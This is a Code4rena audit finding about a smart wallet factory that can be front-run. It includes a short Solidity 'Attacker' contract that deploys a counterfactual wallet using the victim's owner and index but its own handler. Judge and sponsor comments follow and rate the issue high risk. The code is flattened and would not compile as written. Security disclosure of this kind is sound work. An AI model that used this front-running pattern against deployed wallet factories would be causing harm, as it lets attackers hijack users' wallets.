Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 96/105
Findings: 1
Award: $26.26
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0x1f8b, 0x73696d616f, 0xdeadbeef0x, BClabs, HE1M, Haipls, Jayus, Kalzak, Lirios, Qeew, V_B, adriro, ast3ros, aviggiano, betweenETHlines, bin2chen, chaduke, dragotanqueray, ey88, giovannidisiena, hihen, horsefacts, ladboy233, wait, zaskoh
26.2582 USDC - $26.26
Detailed description of the impact of this finding.
An attacker could obtain information about the _owner
and '_index' parameters to front-run the deployment of a smart wallet.
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Attack Exploit could go this way
contract Attacker { WalletFactory walletFactory;
constructor(address walletFactoryAddress) public { walletFactory = WalletFactory(walletFactoryAddress); }
function attack(address _owner, address _entryPoint, address _handler, uint _index) public {
// Generate the address of the smart wallet that is going to be deployed address walletAddress = walletFactory.getAddressForCounterfactualWallet(_owner, _index);
// Deploy a new smart wallet with the same _owner and _index parameters, but with a different _handler parameter walletFactory.deployCounterFactualWallet(_owner, _entryPoint, address(this), _index);
// Check if the smart wallet was successfully deployed require(walletFactory.isWalletExist(walletAddress), "Smart wallet was not deployed"); } }
Manual review
This risk could be avoided by ensuring the details about the _owner, _entryPoint, and _handler parameters are kept confidential when deploying a new smart wallet.
#0 - c4-judge
2023-01-17T07:22:00Z
gzeon-c4 marked the issue as duplicate of #460
#1 - livingrockrises
2023-01-26T02:59:33Z
mitigation steps could have been better as transactions can be front runned. but we confirm the issue
#2 - c4-sponsor
2023-01-26T02:59:40Z
livingrockrises marked the issue as sponsor confirmed
#3 - c4-sponsor
2023-01-26T02:59:45Z
livingrockrises requested judge review
#4 - c4-judge
2023-02-10T11:36:04Z
gzeon-c4 marked the issue as partial-50
#5 - c4-judge
2023-02-10T12:24:52Z
gzeon-c4 marked the issue as satisfactory
#6 - c4-judge
2023-02-10T12:25:21Z
gzeon-c4 changed the severity to 3 (High Risk)